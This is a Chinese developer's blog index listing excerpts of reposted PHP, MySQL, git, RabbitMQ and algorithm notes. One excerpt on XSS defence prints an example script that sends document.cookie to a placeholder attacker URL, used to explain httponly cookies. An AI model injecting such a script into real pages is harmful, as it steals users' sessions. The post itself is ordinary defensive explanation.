自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(72)
  • 收藏
  • 关注

转载 把数据库里面的数据导出来csv

function export_csv($filename, $data, $head = ''){ $string = $head; foreach ($data as $key => $value) { foreach ($value as $k => $val) { $value[$k] = iconv('utf...

2018-03-20 15:23:00 135

转载 跨域

页面https://www.xx.com(地址A)里xmlhttprequest请求如何一个资源,这个资源的地址和地址A,协议类型,端口,域名任何一个不一致都叫跨域具有src属性的标签都支持跨域, 转载于:https://www.cnblogs.com/wangweiwen/p/8353255.html...

2018-01-25 21:15:00 105

转载 git tips

git commit --amend 可以对上一次的提交做修改转载于:https://www.cnblogs.com/wangweiwen/p/8326101.html

2018-01-21 23:45:00 97

转载 xdebug的安装测试

1.下载php -versionPHP 7.2.0 (cli) (built: Dec 7 2017 23:07:46) ( NTS DEBUG )如果PHP版本是7.2以上的必须要下载Xdebug 2.6.0, 因为Xdebug 2.5.5只支持[5.5.0, 7.2.0)checking Check for supported PHP versions... configu...

2017-12-11 22:26:00 106

转载 mysql字段设计坑

对varchar, char类型的字段进行排序把价格设计成decimal的时候,要注意 "有效位数", "小数位数", 不然会发现,插入的时候最多达到上限转载于:https://www.cnblogs.com/wangweiwen/p/7692063.html...

2017-10-19 13:46:00 66

转载 有序数组的二分查找

<?phpfunction bin_search($arr, $low, $height, $target){ if ($low <= $height) { $mid = intval(($low + $height) / 2); if ($arr[$mid] == $target) { return t...

2017-10-06 14:58:00 78

转载 常用命令

常用命令1. 打taggit tag -a v1.1 -m '服务器开子进程提供服务,处理多客户端连接'2.tag推到远程git push origin v1.1转载于:https://www.cnblogs.com/wangweiwen/p/7602662.html...

2017-09-27 16:54:00 62

转载 brew安装php和扩展

brew install homebrew/php/php56 --with-apache报错:checking if the location of ZLIB install directory is defined... noconfigure: error: Cannot find libz解决:xcode-select --install 五分钟之后okoknote...

2017-07-22 01:19:00 134

转载 git公私钥的拷贝

1.场景由于我换了一台电脑,为了能访问远程仓库,我就把原来电脑上的私钥和config文件拷贝过来2.出现问题及解决方案git clone server:xxx_service_express报错: xxxdeMacBook-Pro:php root# Cloning into 'xxx_service_express'... Bad owner or p...

2017-07-21 11:19:00 345

转载 php操作rabbitmq

1.配置交换机,队列,然后绑定<?php$conn_args = [ 'host' => '127.0.0.1', //rabbitmq 服务器host 'port' => 5672, //rabbitmq 服务器端口 'login' => 'demo', //登录用户 'password' =>...

2017-06-30 16:00:00 245

转载 OPcache

1.介绍OPcache 通过将 PHP 脚本预编译的字节码存储到共享内存中来提升 PHP 的性能, 存储预编译字节码的好处就是 省去了每次加载和解析 PHP 脚本的开销2.配置2.1 opcache.validate_timestamps boolean如果启用,那么 OPcache 会每隔 opcache.revalidate_freq 设定的秒数 检查脚本是否更新。 如果禁...

2017-06-20 17:48:00 58

转载 php-fpm进程内存泄漏

线上服务器内存报警线上web8G内存的服务器,内存几乎吃光,top查看,发现php-fpm进程每个都是几十M,php-fpm配置static, 一共150个解决排除过程中,其他机器相同配置都没有发生这个请求,对比配置文件发现,php-fpm.conf中一个max_requests配置的是102400,其他机器配置10240. 猜测是前人手抖多打了个0,php-fpm进程长时间的工...

2017-06-16 23:40:00 152

转载 mysql字符串的隐式转换导致查询异常

如果mysql某个字段(name)类型为varchar, 加了索引,在执行where查询的时候,传入了int的值,这样就会全表扫描,把每一条的值都转换成int(会出现"中国"->0, "06"->6, "6"->6, "hello"->0), 然后和传过来的int值匹配,这样是全表扫描,效率很低。------------------------------ 伟...

2017-06-16 12:36:00 103

转载 composer

1.升级composer self-update转载于:https://www.cnblogs.com/wangweiwen/p/6959661.html

2017-06-07 23:37:00 70

转载 rabbitmq-交换机

四种交换机:directfanouttopicheadershttp://www.jianshu.com/p/469f4608ce5d转载于:https://www.cnblogs.com/wangweiwen/p/6938795.html

2017-06-03 22:48:00 102

转载 php和mysql连接方式(短 长 池)

一个php work进程只能处理一个请求,当完成一个请求了,才能处理下一次的请求2.短连接:执行到php关闭mysql连接的代码时,就断开,否则在处理本次请求结束的时候,释放mysql连接实验:<?php $dbhost = '127.0.0.1'; $dbdatabase = 'im'; $username = 'root'; $userp...

2017-06-03 14:45:00 79

转载 git内部原理-第一篇

本人计划写一些关于《git内部原理》的文章计划每周一篇转载于:https://www.cnblogs.com/wangweiwen/p/6919340.html

2017-05-29 23:28:00 67

转载 二叉树的遍历

深度优先遍历class node{ public $val; public $leftNode; public $rightNode; public function __construct($val) { $this->val = $val; }}$node5 = new node(6);$node4...

2017-03-28 09:47:00 61

转载 排序_在单调矩阵中查找值

矩阵$arr, 查找是否包含目标值$tgfunction a($arr, $n, $tg){ $i = 0; $j = $n; while (true) { if ($tg == $arr[$i][$j]) { return "找到了" . $i . '--' . $j; } else if ($tg &...

2017-03-27 11:08:00 138

转载 mysql联合查询

班级表:CREATE TABLE `join_test_class` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `name` char(15) DEFAULT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8...

2017-03-16 17:56:00 66

转载 mysql之count

两种引擎对count的处理CREATE TABLE `test` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `name` char(15) DEFAULT NULL, `age` int(11) DEFAULT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREM...

2017-03-16 16:25:00 58

转载 memcached安装

1. 下载:wget http://www.memcached.org/files/memcached-1.4.34.tar.gz2.安装依赖的库yum install libevent ,yum install libevent-devel3.编译安装 ./configure --prefix=/usr/local/memcached-1.4.34 make &&...

2017-02-21 16:34:00 67

转载 css书写规则

无规矩不成方圆,不管有多少人共同参与同一项目,一定要确保每一行代码都像是同一个人编写的不要在自闭合(self-closing)元素的尾部添加斜线不要省略可选的结束标签(closing tag)(例如, 或 转载于:https://www.cnblogs.com/wangweiwen/p/6408236.html...

2017-02-17 08:37:00 41

转载 nginx的fastcgi_param参数详解

在配置nginx的时候,有很多fastcgi_param参数,具体对应是什么值呢引入:fastcgi_params 文件:fastcgi_params文件具体内容:postman 发送请求:nginx_version : 1.11.6 query_string : r=abc request_method : POST content_type : applicati...

2017-02-12 22:04:00 469

转载 array_2.array_rand

从数组中随机取出一个或多个单元<?php $arr = [1, 2, 3]; $rand = array_rand($arr, 2); var_dump($rand);转载于:https://www.cnblogs.com/wangweiwen/p/6364136.html...

2017-02-04 10:19:00 63

转载 array_1.array_map

note: 为数组的每个元素应用回调函数<?php $arr = [1, 2, 3]; $arr1 = array_map( function ($value) { return $value * 2; }, $arr ); var_dump($arr1);转载于:https://w...

2017-02-04 09:52:00 75

转载 LinkedList_1.打印两个有序链表的公共部分

思路:实例化出两个链表($link_a, $link_b),比较连个链表当前元素的大小,谁小谁执行next()方法继续比较,当出现相当的时候把相等的值塞入数组$common里,当两个链表有一个元素比较完了,全部结束。<?php$link_a = new SplDoublyLinkedList();$link_b = new SplDoublyLinkedList();...

2017-02-03 21:42:00 94

转载 stack_2.由两个栈组成队列

思路:用两个栈($stack_a, $stack_b),当push的时候,压入$stack_a, 让pop的时候,先把$stack_a元素依次全部倒入$stack_b中,再对$stack_b进行pop,然后再还原$stack_a,$stack_b(把$stack_b倒入stack_a)<?phpclass StackQueue{ public $stack_a;...

2017-02-03 20:08:00 64

转载 stack_1.设计一个有getMin功能的栈

思路 :生成两个栈($stack ,$stack_min ),往$stack塞数据($value)的时候 ,比较一下$value和$stack_min最上面的元素的大小,如果$value小,则压入$stack_min栈<?php$stack = new SplStack();$stack_min = new SplStack();$arr = [200, 5, 12, ...

2017-02-03 19:16:00 96

转载 elasticsearch-installation

1. 安装Java JDK移步 :sdfa 2. 下载elasticsearchurl : https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.1.2.zip3. 解压安装installation3.1 由于elasticsearch不支持root用户启动(can not run ...

2017-01-25 13:00:00 115

转载 rabbitmq的安装

1. 安装erlangerlang源码包: http://erlang.org/download/otp_src_19.2.tar.gz解压:tar -zxvf /usr/local/src/soft_package/otp_src_19.2.tar.gz -C /usr/local/src/编译: ./configure --prefix=/usr/local/erlang_...

2017-01-11 13:15:00 60

转载 str_翻转字符串

1. 给一个句子,翻转每个单词,单词内部不翻转$str = "dog loves pig";$ret = turnSentence($str);var_dump($ret);function turnSentence($str1){ $str2 = turnWord($str1); $str2_arr = explode(' ', $str2); fo...

2017-01-09 21:38:00 133

转载 str_2.判断两个字符串是否互为旋转词

1.字符串str的前面任意部分挪到后面形成的字符串叫做字符串str的旋转词$str1 = "2ab1";$str2 = "ab12";$ret = isXZC($str1, $str2);var_dump($ret);function isXZC($str1, $str2){ if (strlen($str1) !== strlen($str2)) return ...

2017-01-08 22:26:00 168

转载 str_1.判断两个字符串每个字符出现的次数一样

1.两个字符串每个字符出现的次数一样$str1 = "ab'c4*";$str2 = "cb*'a4";$ret = isBX($str1, $str2);var_dump($ret);function isBX($str1, $str2){ $str1_length = strlen($str1); $str2_length = strlen($str2)...

2017-01-08 21:45:00 203

转载 常见排序算法-php

1.归并排序$a = [1, 4, 6, 8, 10, 14, 16];$b = [2, 3, 5, 8, 9, 11];function merge_sort($a, $b){ $a_i = $b_i = 0; $count_a = count($a); $count_b = count($b); $ret = []; while ($a...

2017-01-01 20:55:00 54

转载 mysql一次性和多次取数据的性能测试

1.表结构2.数据量3.代码先从学生表里面查出300名学生,然后找出每个学生的班级信息,然后merge起来3.性能对比第一种:每次取一条第二种:一次全去除4.总结不能循环取从数据库中取数据,性能会很差,与mysql建立连接很耗时,IO次数多也耗性能。转载于:https://www.cnblogs.com/wangweiwen/p/6240454.html...

2016-12-31 22:57:00 428

转载 Pdo操作

1.pdo连接查询$pdo_sql = "mysql:host=localhost;port=3306;dbname=test";$user = 'root';$password = '';try { $pdo = new PDO($pdo_sql, $user, $password); $pdo->setAttribute(PDO::ATTR_EMULAT...

2016-12-31 09:54:00 76

转载 在线接口管理工具-eoapi

为了方便和前端沟通,临时在局域网搭建了一个接口管理工具,查了一些资料都说eoapi不错,那就试了一下:1.安装要在服务器或者自己的电脑,准备web环境,Linux可以是Apache/nginx ,mysql ,php 。 windows可以选择集成安装,可以参考:Linux:http://www.cnblogs.com/wangweiwen/p/6103855.htmlwind...

2016-12-29 13:26:00 408

转载 web安全之xss

1.生成cookie的时候设置httponly为true如果脚本王子在A网站写入一段js代码:<script> window.open('黑客的url?c='+document.cookie)</script>当用户访问到这个页面的时候,就把当前用户在A网站的cookie发送到黑客的网站,这样黑客就顺利拿到这个cookie,就可以冒充当前用户了...

2016-12-27 15:23:00 73

转载 最近做抽奖的活动

1.抽奖算法简化如下:function choujiang($config){ $isOk = 0; foreach ($config['Win'] as $key => $value) { if ($value['upperLimit'] > $value['existing']) { $isOk = 1; ...

2016-12-24 13:41:00 97

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除